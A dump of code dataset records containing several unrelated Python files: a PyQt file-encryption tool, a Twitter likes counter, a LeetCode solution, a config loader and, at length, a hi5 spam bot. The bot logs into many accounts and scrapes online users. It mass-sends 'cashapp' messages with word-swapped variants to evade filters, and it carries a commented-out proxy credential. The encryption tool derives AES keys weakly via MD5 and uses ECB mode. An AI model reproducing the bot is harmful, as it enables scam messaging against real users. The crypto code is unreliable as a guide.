fs.read()\r\n fname = fs.name\r\n fs.close()\r\n random_generator = str(random.randint(1,999999999))\r\n random_generator = random_generator.encode('UTF-8')\r\n a = self.encrypt_oracle(random_generator, fs_msg)\r\n os.remove(fname)\r\n CT = self.comboBox.currentText()\r\n if CT == \"AES-128\":\r\n temp = self.add_to_16(random_generator)\r\n print(temp)\r\n x = KeyDialog.pubkey_now.encode()\r\n pubkey_now = rsa.PublicKey.load_pkcs1(x)\r\n temp = rsa.encrypt(temp, pubkey_now)\r\n mode = \"AES-128\"\r\n else:\r\n temp = self.add_to_32(random_generator)\r\n print(temp)\r\n x = KeyDialog.pubkey_now.encode()\r\n pubkey_now = rsa.PublicKey.load_pkcs1(x)\r\n temp = rsa.encrypt(temp,pubkey_now)\r\n mode = \"AES-256\"\r\n file = {\"filename\": fname, \"filetext\": a, \"filekey\": temp,\"mode\":mode}\r\n print(a)\r\n return file\r\n\r\n # 文件读取\r\n def readfile(self):\r\n curow = self.tableWidget.currentRow()\r\n selections = self.tableWidget.selectionModel()\r\n selectedsList = selections.selectedRows()\r\n rows = []\r\n for r in selectedsList:\r\n rows.append(r.row())\r\n if len(rows) == 0:\r\n rows.append(curow)\r\n self.readRows(rows, isdel_list=1)\r\n else:\r\n self.readRows(rows, isdel_list=1)\r\n\r\n # 文件解密\r\n def AESde(self, fname, text):\r\n key = self.key\r\n b = self.decrypt_oralce(key, text)\r\n fc = open(fname, 'wb')\r\n fc.write(b)\r\n fc.close()\r\n\r\n # AES填充\r\n def add_to_161(self, value):\r\n while len(value) % 16 != 0:\r\n value += b'\\0'\r\n return value # 返回bytes\r\n\r\n def add_to_16(self, value):\r\n m = hashlib.md5()\r\n m.update(value)\r\n n = bytes.fromhex(m.hexdigest())\r\n return n # 返回bytes\r\n\r\n def add_to_32(self, value):\r\n m = hashlib.md5()\r\n m.update(value)\r\n n = bytes.fromhex(m.hexdigest())\r\n z = n + n\r\n print(len(z))\r\n return z # 返回bytes\r\n\r\n # 加密方法\r\n def encrypt_oracle(self, key, text):\r\n CT = self.comboBox.currentText()\r\n if CT == \"AES-128\":\r\n keys = self.add_to_16(key)\r\n else:\r\n keys = self.add_to_32(key)\r\n texts = self.add_to_161(text)\r\n aes = AES.new(keys, AES.MODE_ECB)\r\n # 先进行aes加密\r\n encrypt_aes = aes.encrypt(texts)\r\n # 用base64转成字符串形式\r\n encrypted_text = base64.encodebytes(encrypt_aes)\r\n return encrypted_text\r\n\r\n # 解密方法\r\n def decrypt_oralce(self, key, text):\r\n # 初始化加密器\r\n CT = self.mode\r\n if CT == \"AES-128\":\r\n aes = AES.new(key, AES.MODE_ECB)\r\n else:\r\n aes = AES.new(key, AES.MODE_ECB)\r\n # 优先逆向解密base64成bytes\r\n base64_decrypted = base64.decodebytes(text)\r\n # 执行解密密并转码返回str\r\n decrypted_text = aes.decrypt(base64_decrypted)\r\n return decrypted_text\r\n\r\n # 显示数据\r\n def showtable(self):\r\n self.filelist = self.filedb.load()\r\n list_rows = len(self.filelist)\r\n table_rows = self.tableWidget.rowCount()\r\n if table_rows == 0 and list_rows > 0:\r\n self.selectTable(self.filelist, table_rows)\r\n elif table_rows > 0 and list_rows > 0:\r\n self.removeRows(table_rows)\r\n self.selectTable(self.filelist, table_rows)\r\n self.filelist = self.filedb.load()\r\n\r\n # 表格显示\r\n def selectTable(self, filelist, table_rows):\r\n for i, file in enumerate(filelist):\r\n fpath = file[\"filename\"]\r\n fmode = file[\"mode\"]\r\n\r\n self.tableWidget.insertRow(i)\r\n fpath_item = QTableWidgetItem(fpath)\r\n fpath_item.setTextAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\r\n self.tableWidget.setItem(i, 0, fpath_item)\r\n\r\n fmode_item = QTableWidgetItem(fmode)\r\n fmode_item.setTextAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\r\n self.tableWidget.setItem(i, 1, fmode_item)\r\n\r\n # 删除行实现\r\n def removeRows(self, rows, isdel_list=0):\r\n if isdel_list != 0:\r\n rows.reverse()\r\n for i in rows:\r\n self.tableWidget.removeRow(i)\r\n del self.filelist[i]\r\n self.filedb.save_db(self.filelist)\r\n else:\r\n for i in range(rows - 1, -1, -1):\r\n self.tableWidget.removeRow(i)\r\n\r\n # 右键解密\r\n\r\n def contextMenuEvent(self, event):\r\n pmenu = QMenu(self)\r\n pDeleteAct = QAction(\"解密\", self.tableWidget)\r\n pmenu.addAction(pDeleteAct)\r\n pDeleteAct.triggered.connect(self.readfile())\r\n pmenu.popup(self.mapToGlobal(event.pos()))\r\n\r\n # 读取解密密文\r\n def readRows(self, rows, isdel_list):\r\n if isdel_list != 0:\r\n rows.reverse()\r\n for i in rows:\r\n rfileinfo = self.filelist[i]\r\n fname = rfileinfo[\"filename\"]\r\n ftext = rfileinfo[\"filetext\"]\r\n fkey = rfileinfo[\"filekey\"]\r\n self.mode = rfileinfo[\"mode\"]\r\n try:\r\n self.getPrivKey()\r\n self.key = rsa.decrypt(fkey,self.privkey)\r\n\r\n self.tableWidget.removeRow(i)\r\n\r\n self.AESde(fname, ftext)\r\n del self.filelist[i]\r\n except:\r\n print(\"私钥空\")\r\n self.filedb.save_db(self.filelist)\r\n else:\r\n for i in range(rows - 1, -1, -1):\r\n rfileinfo = self.filelist[i]\r\n fname = rfileinfo[\"filename\"]\r\n ftext = rfileinfo[\"filetext\"]\r\n fkey = rfileinfo[\"filekey\"]\r\n self.mode = rfileinfo[\"mode\"]\r\n try:\r\n self.getPrivKey()\r\n self.key = rsa.decrypt(fkey, self.privkey)\r\n self.AESde(fname, ftext)\r\n\r\n self.tableWidget.removeRow(i)\r\n except:\r\n print(\"密钥空\")\r\n\r\n def getPrivKey1(self):\r\n open = QFileDialog()\r\n self.path = open.getOpenFileName()\r\n print(self.path)\r\n self.lineEdit_2.setText(self.path[0])\r\n\r\n def getPrivKey(self):\r\n #key = KeyDialog.loadkey(x)\r\n\r\n\r\n x = self.lineEdit_2.text()\r\n if x == \"\":\r\n QMessageBox.about(self,\"提示\",\"密钥不能为空\")\r\n return\r\n else:\r\n with open(x,'r') as f:\r\n privkey = rsa.PrivateKey.load_pkcs1(f.read().encode())\r\n ##获取私钥\r\n\r\n print(privkey)\r\n message = \"message\".encode()\r\n #sign = rsa.sign(mas,privkey, 'SHA-1')\r\n\r\n temp = KeyDialog.pubkey_now.encode()\r\n pubkey_now = rsa.PublicKey.load_pkcs1(temp)\r\n #获取公钥\r\n signature = rsa.sign(message, privkey, 'SHA-1')\r\n try:\r\n flag = rsa.verify(message, signature, pubkey_now)\r\n self.privkey = privkey\r\n except :\r\n x = QMessageBox.about(self,\"错误\",\"用户私钥不匹配\")\r\n\r\n\r\n################################################\r\n#######程序入口\r\n################################################\r\nif __name__ == \"__main__\":\r\n app = QApplication(sys.argv)\r\n dialog = LoginDialog()\r\n if dialog.exec_()==QDialog.Accepted:\r\n the_window = MainWindow()\r\n the_window.show()\r\n sys.exit(app.exec_())","sub_path":"FileVault/foo/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":16408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"257664034","text":"#using:utf-8\n\nimport json\nimport urllib.request, urllib.error\nimport re\nfrom requests_oauthlib import OAuth1Session\nfrom tqdm import tqdm\nfrom time import sleep\n\nclass Twitter:\n \"\"\"\n Twitter API を用いて、自分がどれだけいいねされたかを調べる\n APIを使うには TOKEN などを発行する必要がある\n\n screen_name : string\n 対象となるユーザーの screen_name\n \"\"\"\n\n def __init__(self, screen_name):\n \"\"\"\n 各情報の初期化\n 認証情報は 安全のため一つ上の階層にファイルで保存した。\n\n screen_name : string\n 引数で受け取るユーザー名\n\n user_timeline_url : string\n screen_name のユーザーのツイート一覧にアクセスするためのURL\n\n user_show_url : string\n id と screen_name を紐づけるためのURL\n \"\"\"\n\n with open(\"../.token\", \"r\") as f:\n temp = f.read().split(\"\\n\")\n\n self.API_KEY = temp[0]\n self.API_SECRET = temp[1]\n self.ACCESS_TOKEN = temp[2]\n self.ACCESS_TOKEN_SECRET = temp[3]\n\n self.screen_name = screen_name\n self.user_timeline_url = \"https://api.twitter.com/1.1/statuses/user_timeline.json\"\n self.user_show_url = \"https://api.twitter.com/1.1/users/show.json\"\n \n def getUsersTweets(self):\n \"\"\"\n self.screen_name で指定されているユーザーのツイートを全件取得する\n 辞書のリストで返す\n \"\"\"\n\n twitter = OAuth1Session(\n self.API_KEY, \n self.API_SECRET, \n self.ACCESS_TOKEN, \n self.ACCESS_TOKEN_SECRET)\n\n # 取得したツイートを格納するリスト\n # max_id は 0 で初期化\n tweets = []\n max_id = 0\n cnt = 0\n\n # ループで全てのツイートを取得する\n print(\"get \" + self.screen_name + \"\\'s tweets\")\n while True:\n # 1秒待つ\n sleep(1)\n\n # ループした数だけ\".\"を出力する\n print(\".\" * (cnt+1))\n cnt += 1\n\n # 最初は max_id を指定しないでrequestを送る\n if max_id == 0:\n params = {\n \"screen_name\": self.screen_name,\n \"count\": 200\n }\n else:\n params = {\n \"screen_name\": self.screen_name,\n \"count\": 200,\n \"max_id\": max_id\n }\n \n # APIにリクエストを送る\n try:\n res = twitter.get(self.user_timeline_url, params=params)\n dic = json.loads(res.text)\n except:\n break\n\n # もしmax_id が前回のものと同じなら最後まで読んだことになる\n # その時は break する\n if max_id == dic[-1][\"id\"]:\n break\n # そうでない場合は max_id を更新して次のループへ\n else:\n tweets += dic\n max_id = dic[-1][\"id\"]\n\n return tweets\n\n\n def getUserIDList(self,post_id):\n \"\"\"\n 指定されたIDのツイートにいいねした人のIDリストを返す\n\n id : string\n 調べる ツイートID\n \"\"\"\n # 一秒まつ\n sleep(1)\n \n try:\n json_data = urllib.request.urlopen(url='https://twitter.com/i/activity/favorited_popup?id=' + str(post_id)).read().decode(\"utf-8\")\n found_ids = re.findall(r'data-user-id=\\\\\"+\\d+', json_data)\n unique_ids = list(set([re.findall(r'\\d+', match)[0] for match in found_ids]))\n return unique_ids\n except urllib.request.HTTPError:\n return False\n \n def showUser(self, id):\n \"\"\"\n 引数で受け取ったID のユーザーの screen_name を返す\n\n id : string\n ユーザーID\n \"\"\"\n # 一秒待つ\n sleep(1)\n\n twitter = OAuth1Session(\n self.API_KEY, \n self.API_SECRET, \n self.ACCESS_TOKEN, \n self.ACCESS_TOKEN_SECRET)\n\n params = {\n \"user_id\": id\n }\n\n # APIにリクエストを送る\n try:\n res = twitter.get(self.user_show_url, params=params)\n dic = json.loads(res.text)\n except:\n return False\n \n return dic[\"screen_name\"]\n\n\n def aggregateID(self, filter):\n \"\"\"\n 自分のツイートが、どのIDが何回\"いいね”されたかを集計する\n \n {ユーザーid: いいねした数}\n の辞書のリストを返す\n\n filter : int\n 合計いいね数が filter 以下のユーザーIDは除��する\n \"\"\"\n\n # 全てのツイートの ID だけのリストを取得する\n tweets = self.getUsersTweets()\n ids = [i[\"id\"] for i in tweets]\n\n # {id : いいね数} を格納する辞書\n user_ids = {}\n \n # ツイートid 一つずつ検索してく\n for id in tqdm(ids):\n lis = self.getUserIDList(id)\n # もし error が返ってきたら。\n if lis == False:\n sleep(10)\n lis = self.getUserIDList(id)\n # それでもダメなら諦めて次のやつに行く\n if lis == False:\n continue\n for i in lis:\n if i in user_ids:\n user_ids[i] += 1\n else:\n user_ids[i] = 1\n\n # フィルター以下のいいね数のデータは除外する\n # ついでに自分も除外する\n ans = {}\n for i in user_ids:\n if user_ids[i] <= filter:\n continue\n else:\n ans[i] = user_ids[i]\n return ans\n","sub_path":"Twitter.py","file_name":"Twitter.py","file_ext":"py","file_size_in_byte":5976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"104227877","text":"class Solution:\n def __getitem__(self, index):\n return self.after >= index + 1 and self.nums1[index] - self.nums2[self.after - index - 1]\n \n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n if len(nums1) > len(nums2): nums1, nums2 = nums2, nums1\n self.after = (len(nums1) + len(nums2) - 1) // 2\n self.nums1 = nums1\n self.nums2 = nums2\n left = bisect.bisect_left(self, 0, 0, len(nums1))\n result = sorted((*itertools.islice(nums1, left, left + 2), *itertools.islice(nums2, self.after - left, self.after - left + 2)))\n return (result[0] + result[1 - (len(nums1) + len(nums2)) & 1]) / 2\n","sub_path":"4MedianOfTwoSortedArrays.py","file_name":"4MedianOfTwoSortedArrays.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"516719039","text":"import json\nimport os\n\nCONFIG_DIR = os.path.expanduser(\"~\") + \"/.config/hazmat/\"\nCONFIG_FILE = CONFIG_DIR + \"hazmat.json\"\n\nwith open(CONFIG_FILE) as config_file:\n global config\n config = json.load(config_file)\n\n\nclass Logistics(object):\n\n def __init__(self, name, extension):\n self.name = name\n self.extension = extension\n self.need_compile = False\n self.has_init = False\n self.has_merge = False\n\n def compile_info(self, compiler, formater, default_flags = []):\n self.need_compile = True\n self.compiler = compiler\n self.default_flags = default_flags\n self.formater = formater\n\n def init_info(self, data):\n self.has_init = True\n self.init_data = data\n\n def merge_info(self, command):\n self.merge_command = command\n self.has_merge = True\n\n def query(self, inFiles, outFile, flags = None):\n if not isinstance(inFiles, str):\n filesString = \" \".join(inFiles)\n else:\n filesString = inFiles\n\n if not isinstance(flags, list):\n flags = self.default_flags\n\n flagsString = \" \".join(flags)\n return self.formater.format(self.compiler, flagsString, filesString, outFile)\n\n def __str__(self):\n ret = self.name + '\\t' + self.extension + '\\n'\n if self.need_compile:\n ret += '\\t' + self.compiler + '\\t' + str(self.default_flags)\n return ret\n\n\nproviders = dict()\n\nfor el in config['languages']:\n log = Logistics(el['name'], el['extension'])\n if 'compile' in el:\n com = el['compile']\n log.compile_info(com['compiler'], com['format'], com['default-flags'])\n if 'init' in el:\n log.init_info(el['init'])\n if 'merge' in el:\n log.merge_info(el['merge'])\n\n providers[el['extension']] = log\n","sub_path":"hazmat/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135639050","text":"import requests\r\nimport json\r\nimport os\r\nfrom bs4 import BeautifulSoup\r\nfrom urllib.request import Request, urlopen\r\nimport time\r\nimport random\r\nimport string\r\nfrom random import randrange\r\n\r\n\r\n #extracting account id\r\ndef getacc():\r\n try:\r\n alphanumiric = string.ascii_lowercase + string.digits\r\n did = ''.join(random.choice(alphanumiric) for i in range(16))\r\n aid = \"\".join([random.choice(alphanumiric) for i in range(8)])+\"-\"+\"\".join([random.choice(alphanumiric) for i in range(4)])+\"-\"+\"\".join([random.choice(alphanumiric) for i in range(4)])+\"-\"+\"\".join([random.choice(alphanumiric) for i in range(4)])+\"-\"+\"\".join([random.choice(alphanumiric) for i in range(12)])\r\n\r\n #print('Using %s as a DeviceID and as AAID: %s' % (did, aid))\r\n\r\n url = 'https://secure.hi5.com/api/?method=tagged.login.login&application_id=user'\r\n headers = {'User-Agent': '%s'%useragent}\r\n obj = {'email': '%s@gmail.com'%email, 'password': 'NewPassword456', 'deviceId': '%s'%did, 'aaid': '%s'%aid}\r\n try:\r\n r = requests.post(url, data=obj, headers=headers, proxies=proxy)\r\n response = json.loads(r.text)\r\n #print('Retrieving Account Info')\r\n #print(response)\r\n results = response['result']\r\n working = response['stat']\r\n if working == 'fail':\r\n print('-----------------------------------------------------------------> Previous Account Is Gone')\r\n return False\r\n else:\r\n print('%s is active'%email)\r\n accid = results['user_id']\r\n autotoken = results['auto_token']\r\n session = results['session']\r\n mid = str(accid)\r\n return mid, autotoken, session\r\n except requests.exceptions.ConnectionError:\r\n print(\"Connection refused\")\r\n getacc()\r\n except:\r\n print('\\nCant Login to the account, moving on\\n')\r\n return False\r\n\r\ndef msgext(mn):\r\n mlist = list()\r\n with open('messages/cashapp-%s-reply.txt'% mn) as dfile:\r\n for mline in dfile:\r\n uline = mline.replace('you', 'u')\r\n udoline = uline.rstrip() + \"\".join('.')\r\n nline = mline.replace('and', 'n')\r\n ndoline = nline.rstrip() + \"\".join('.')\r\n moline = mline.replace('money', 'funds')\r\n mdoline = moline.rstrip() + \"\".join('.')\r\n daline = mline.replace('that', 'dat')\r\n ddoline = daline.rstrip() + \"\".join('.')\r\n thline = mline.replace('the', 'thé')\r\n tdoline = thline.rstrip() + \"\".join('.')\r\n urline = mline.replace('your', 'ur')\r\n urdoline = urline.rstrip() + \"\".join('.')\r\n rline = mline.replace('are', 'r')\r\n waline = mline.replace('wanna', 'wnna')#\r\n knline = mline.replace('know', 'knw')\r\n kndline = knline.rstrip() + \"\".join('.')\r\n jsline = mline.replace('just', 'jst')\r\n jsdline = jsline.rstrip() + \"\".join('.')\r\n vrline = mline.replace('verify', 'verfy')\r\n vrdline = vrline.rstrip() + \"\".join('.')\r\n bfline = mline.replace('before', 'b4')\r\n bfdline = bfline.rstrip() + \"\".join('.')\r\n snline = mline.replace('send', 'snd')\r\n wadoline = waline.rstrip() + \"\".join('.')#\r\n rdoline = rline.rstrip() + \"\".join('.')\r\n doline = mline.rstrip() + \"\".join('.')\r\n\r\n grfline = mline.replace('hey', 'ey')\r\n ugrfline = grfline.rstrip() + \"\".join('.')\r\n\r\n grfline2 = mline.replace('hello', 'hllo')\r\n ugrfline2 = grfline2.rstrip() + \"\".join('.')\r\n\r\n grfline3 = mline.replace('hi', 'yo')\r\n ugrfline3 = grfline3.rstrip() + \"\".join('.')\r\n\r\n grfline4 = mline.replace('plese', 'pls')\r\n ugrfline4 = grfline4.rstrip() + \"\".join('.')\r\n\r\n grfline5 = mline.replace('user', 'person')\r\n ugrfline5 = grfline5.rstrip() + \"\".join('.')\r\n\r\n grfline6 = mline.replace('website', 'link')\r\n ugrfline6 = grfline6.rstrip() + \"\".join('.')\r\n\r\n grfline7 = mline.replace('link', 'website')\r\n ugrfline7 = grfline7.rstrip() + \"\".join('.')\r\n\r\n grfline8 = mline.replace('$100', '100 Bucks')\r\n ugrfline8 = grfline8.rstrip() + \"\".join('.')\r\n\r\n grfline9 = mline.replace('$100', '100 Dollars')\r\n ugrfline9 = grfline9.rstrip() + \"\".join('.')\r\n\r\n mlist.append(grfline)\r\n mlist.append(ugrfline)\r\n mlist.append(grfline2)\r\n mlist.append(ugrfline2)\r\n mlist.append(grfline3)\r\n mlist.append(ugrfline3)\r\n mlist.append(grfline4)\r\n mlist.append(ugrfline4)\r\n mlist.append(grfline5)\r\n mlist.append(ugrfline5)\r\n mlist.append(grfline6)\r\n mlist.append(ugrfline6)\r\n mlist.append(grfline7)\r\n mlist.append(ugrfline7)\r\n mlist.append(grfline8)\r\n mlist.append(ugrfline8)\r\n mlist.append(grfline9)\r\n mlist.append(ugrfline9)\r\n\r\n mlist.append(mline)\r\n mlist.append(doline)\r\n mlist.append(uline)\r\n mlist.append(udoline)\r\n mlist.append(nline)\r\n mlist.append(ndoline)\r\n mlist.append(moline)\r\n mlist.append(mdoline)\r\n mlist.append(daline)\r\n mlist.append(ddoline)\r\n mlist.append(thline)\r\n mlist.append(tdoline)\r\n mlist.append(urline)\r\n mlist.append(urdoline)\r\n mlist.append(rline)\r\n mlist.append(rdoline)\r\n mlist.append(wadoline)\r\n mlist.append(waline)\r\n mlist.append(knline)\r\n mlist.append(kndline)\r\n mlist.append(jsline)\r\n mlist.append(jsdline)\r\n mlist.append(vrline)\r\n mlist.append(vrdline)\r\n mlist.append(bfline)\r\n mlist.append(bfdline)\r\n mlist.append(snline)\r\n mlist.append(wadoline)\r\n\r\n mlist = list(dict.fromkeys(mlist))\r\n return mlist\r\n\r\n\r\ndef extractor(age):\r\n try:\r\n print(age)\r\n cookies = {'S': 'ev0fhabdvaaj8m8rrirqqlibmq'}\r\n headers = {'User-Agent': '%s'%useragent}\r\n r = requests.get('https://secure.hi5.com/api/?method=tagged.search.query&returns_users=true&show=25&language=-1&min_age=%s&max_age=%s&distance=750&location=USA&num_results=400&gender=%s&country=US&application_id=user'% (age, max, gender), cookies=cookies, headers=headers, proxies=proxy, timeout=10)\r\n users = json.loads(r.text)\r\n\r\n\r\n for result in users['results']:\r\n user = result['userId']\r\n usr = str(user)\r\n status = result['online']\r\n if status == True:\r\n outF = open(\"bot-users/%s-active-fresh-users.txt\"%email, \"a+\")\r\n print('this user is online: %s'%user)\r\n print(user, file=outF)\r\n outF.close()\r\n\r\n elif status == False:\r\n a = 'user is offline'\r\n else:\r\n print('something went wrong with %s'%user)\r\n except:\r\n extractor(age)\r\n\r\n # Remove reached users\r\ndef rechecker():\r\n\r\n with open('%s/%s-reached-users.txt'%(nourfold2,niche), 'r+') as source:\r\n filter_lines = source.readlines()\r\n\r\n with open('bot-users/%s-active-fresh-users.txt'%email, 'r') as f:\r\n lines = f.readlines()\r\n\r\n with open('bot-users/%s-active-clean-users.txt'%email, 'w') as target:\r\n for line in lines:\r\n if line not in filter_lines:\r\n target.write(line)\r\n source.close()\r\n f.close()\r\n target.close()\r\n os.remove('bot-users/%s-active-fresh-users.txt'%email)\r\n actfile = open(\"bot-users/%s-active-clean-users.txt\"%email, \"r\")\r\n line_count = 0\r\n for line in actfile:\r\n if line != \"\\n\":\r\n line_count += 1\r\n actfile.close()\r\n print('%s fresh accounts was cleaned & are ready to be Cocked!' % line_count)\r\n\r\n\r\n\r\ndef sender():\r\n try:\r\n cookies = {'S': '%s'% session}\r\n headers = {'User-Agent': '%s'%useragent}\r\n r = requests.get('https://secure.hi5.com/api/?method=tagged.im.getConversation&size=s&size2=m&uid=%s&count=100&isPhotoCommentSupported=true&application_id=user'%usrid, cookies=cookies, headers=headers, proxies=proxy, timeout=30)\r\n reply = json.loads(r.text)\r\n print(reply)\r\n replys = reply['result']\r\n container = replys['items']\r\n count = 0\r\n for result in container:\r\n user = result['uid']\r\n uids = str(user)\r\n if uids == myid:\r\n count +=1\r\n\r\n if count == 0:\r\n try:\r\n print(\"trying to send the first message to: %s\"%usrid)\r\n objec = {'uid': '%s'%usrid, 'message': '%s'% keywords, 'type': '1'}\r\n time.sleep(2)\r\n try:\r\n send = requests.post('https://secure.hi5.com/api/?method=tagged.im.send&platform=android&application_id=user', data=objec, headers=headers, cookies=cookies)\r\n fmsg = json.loads(send.text)\r\n print(fmsg)\r\n results = fmsg['result']\r\n\r\n if \"code\" not in results:\r\n print(fmsg)\r\n print('Message Sent!\\n')\r\n outf = open(\"bot-users/%s-reached-users.txt\"% niche, \"a\")\r\n outf.write(usrid)\r\n time.sleep(wt)\r\n #outi = open('bot-users/%s-reached-users.txt' % email, 'a')\r\n usrslist.append(usrid)\r\n #outi.write(usrid)\r\n outf.close()\r\n #outi.close()\r\n elif \"code\" in results:\r\n code_num = results['code']\r\n print(fmsg)\r\n if code_num == 25:\r\n print('\\nThe account have reached the maximum messages sent... Replying to messages & Moving to the next account\\n')\r\n return False\r\n else:\r\n print('message didnt arrive, skipping to the next user...')\r\n except requests.exceptions.Timeout as e: print(e)\r\n\r\n except Exception as e: print(e)\r\n\r\n elif count > 0:\r\n print('Message has already been sent previously to %s'%usrid)\r\n outf = open(\"users/reached-users.txt\", \"a\")\r\n outf.write(usrid)\r\n outf.close()\r\n except Exception as e: print(e)\r\n\r\n# Generating a proxy\r\ndef get_proxies(ua):\r\n proxies = []\r\n proxies_req = Request('https://www.sslproxies.org/')\r\n proxies_req.add_header('User-Agent', ua.random)\r\n proxies_doc = urlopen(proxies_req).read().decode('utf8')\r\n\r\n soup = BeautifulSoup(proxies_doc, 'html.parser')\r\n proxies_table = soup.find(id='proxylisttable')\r\n\r\n # Save proxies in the array\r\n for row in proxies_table.tbody.find_all('tr'):\r\n proxies.append({\r\n 'ip': row.find_all('td')[0].string,\r\n 'port': row.find_all('td')[1].string})\r\n return proxies\r\n\r\ndef random_proxy(proxies):\r\n return random.choice(proxies)\r\n\r\n\r\n#Reading Config:\r\n\r\ndef parsel(line):\r\n delim = line.find(':')\r\n return line[delim+1:].strip()\r\n\r\ndef configer(config_string):\r\n try:\r\n account_loop = int(parsel(config_string[0]))\r\n gender = parsel(config_string[1])\r\n messages_waves = int(parsel(config_string[2]))\r\n waves_timebreak = int(parsel(config_string[3]))\r\n waves_count = int(parsel(config_string[4]))\r\n account_timebreak = int(parsel(config_string[5]))\r\n return account_loop, gender, messages_waves, waves_timebreak, waves_count, account_timebreak\r\n except Exception as e: print(e)\r\n\r\nwith open(\"config.txt\") as config:\r\n config_values = config.readlines()\r\n\r\naccount_loop, tgender, messages_waves, waves_timebreak, waves_count, account_timebreak = configer(config_values)\r\n\r\n# collecting inputs:\r\n\r\n#type = input('(S)olo or (D)uo') #for\r\n\r\nosystem = \"M\"\r\ndevicename = 'macbook'\r\nmadir = open('config.txt', 'r').read().splitlines()\r\nmdir = random.choice(madir)\r\n\r\naccr = account_loop #int(input('How Many Times Reeat the account: '))\r\ngender = tgender #input('do you want them (F)emale or (M)ale: ')\r\nuaf = open('config/user-agents.txt', 'r').read().splitlines()\r\nmessn = messages_waves #int(input('how many messages do you wanna send with each account: '))\r\ncol = waves_timebreak * 60 #int(input('how many minutes between every %s messages: '%messn)) * 60\r\nniche = 'cashapp'\r\ntimes = waves_count #int(input('how many times do you wanna repeat the messages: '))\r\nentimes = times - 1\r\ncooldwn = account_timebreak * 60 #int(input('How many minutes between each account: ')) * 60\r\n\r\n# adding backround touches\r\nspeeddeter = 'L'\r\nDropboxFolder = '/Users/%s/Dropbox' % devicename\r\nnourfold = '%s/Messaging/users'%mdir\r\nnourfold2 = 'users'\r\nwt = 0\r\n\r\n\r\n\r\n\r\n#t_end = time.time() + 60 * period\r\ns_time = time.time()\r\n\r\n\r\n\r\n\r\n\r\n# Working to get the email:\r\nemaillist = list()\r\n\r\nwith open('accounts/hi5acc.txt', 'r') as efile:\r\n for emailuser in efile:\r\n email = emailuser.rstrip()\r\n emaillist.append(email)\r\n\r\nstart_time = time.time() / 60\r\n\r\nfor email in emaillist:\r\n\r\n randf = cooldwn - 200\r\n randl = cooldwn + 200\r\n colf = col - 60\r\n coll = col + 60\r\n\r\n Repeat = 0\r\n reacc = 0\r\n while reacc <= accr:\r\n Repeat = 0\r\n\r\n while Repeat < times:\r\n print('Repeating %s for the %s time'%(email, Repeat))\r\n #Getting Proxy\r\n # ua = UserAgent()\r\n # proxies = get_proxies(ua)\r\n proxy = []\r\n\r\n # prostr = str(nproxy)\r\n # ip = prostr.split(',')[0]\r\n # port = prostr.split(',')[1]\r\n # ipa = ip.split(':')[1]\r\n # porta = port.split(':')[1]\r\n # fport = porta.replace('}', '')\r\n #\r\n # ips = ipa.replace(\"'\", \"\")\r\n # ports = fport.replace(\"'\", \"\")\r\n # pip = ips.replace(\" \", \"\")\r\n # pport = ports.replace(\" \", \"\")\r\n\r\n # proxy = {\r\n # \"http\": \"http://%s:%s\" % (pip, pport),\r\n # \"https\": \"http://%s:%s\" % (pip, pport),\r\n # }\r\n\r\n # proxy = {\r\n # \"http\": \"http://vnpfwklm-rotate:kz65gib69zcm@45.9.123.41:80\",\r\n # \"https\": \"http://vnpfwklm-rotate:kz65gib69zcm@45.9.123.41:80\",\r\n # }\r\n\r\n\r\n print('\\nLogged in as: %s@gmail.com'%email)\r\n # Declaring Variables\r\n useragent = random.choice(uaf)\r\n stats = getacc()\r\n if stats is not False:\r\n try:\r\n myid, token, session = getacc()\r\n\r\n #scrapper\r\n print('Scrapping Active Users...\\n')\r\n agelist = list()\r\n with open(\"config/age.txt\", \"r\") as file:\r\n for line in file:\r\n age = line\r\n agelist.append((age))\r\n\r\n for age in agelist:\r\n max = age\r\n extractor(age)\r\n\r\n #Plugin for Keep on tracking niche reach & to keep on growing it:\r\n time.sleep(5)\r\n rechecker()\r\n\r\n #sending the first messages:\r\n print('\\nThrowing Clean accounts to the grill...\\n')\r\n usrlist = list()\r\n with open(\"bot-users/%s-active-clean-users.txt\"%email, \"r\") as usrfile:\r\n for line in usrfile:\r\n usrid = line\r\n usrlist.append((usrid))\r\n\r\n st = 0\r\n usrslist = list()\r\n for usrid in usrlist:\r\n\r\n msglines = msgext(1)\r\n keywords = random.choice(msglines)\r\n\r\n if st < messn:\r\n limit = sender()\r\n if limit is not False:\r\n print('message %s has been sent' % st)\r\n st +=1\r\n else:\r\n break\r\n\r\n else:\r\n break\r\n Repeat += 1\r\n # add the content of the list to a file here\r\n if speeddeter == 'D':\r\n notifyu = open(\"%s/%s-reached-users.txt\" % (DropboxFolder, niche), \"a\")\r\n for usid in usrslist:\r\n notifyu.write(usid)\r\n notifyu.close()\r\n usrslist.clear()\r\n\r\n print('Reapeating for the %s time'%Repeat)\r\n entime = time.time() - start_time * 60\r\n frontlinedone = entime / 60\r\n print('an account completed in %s Minutes' % frontlinedone)\r\n ncol = randrange(colf, coll)\r\n sleeping = ncol / 60\r\n print('Sleeping for %s Minutes' % sleeping)\r\n if Repeat == times:\r\n break\r\n else:\r\n time.sleep(ncol)\r\n\r\n\r\n except Exception as e: print(e)\r\n\r\n else:\r\n blcktime = s_time - time.time()\r\n btime = blcktime / 60\r\n print('Account has been blocked after %s Minutes from Launch' % btime)\r\n break\r\n accchk = getacc()\r\n if accchk is not False:\r\n\r\n cooldownran = randrange(randf, randl)\r\n print('picked %s for sleeping')\r\n\r\n cooldwnm = cooldownran / 60\r\n timeused = cooldownran / 8\r\n timeusedm = timeused / 60\r\n print('\\naccount done sleeping for %s minutes'%cooldwnm)\r\n sstart = time.time()\r\n time.sleep(timeused)\r\n print('\\nstill active while in %s minutes sleep\\n' % cooldwnm)\r\n # Account Cancelation Checking Started\r\n accchk1 = getacc()\r\n if accchk1 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n 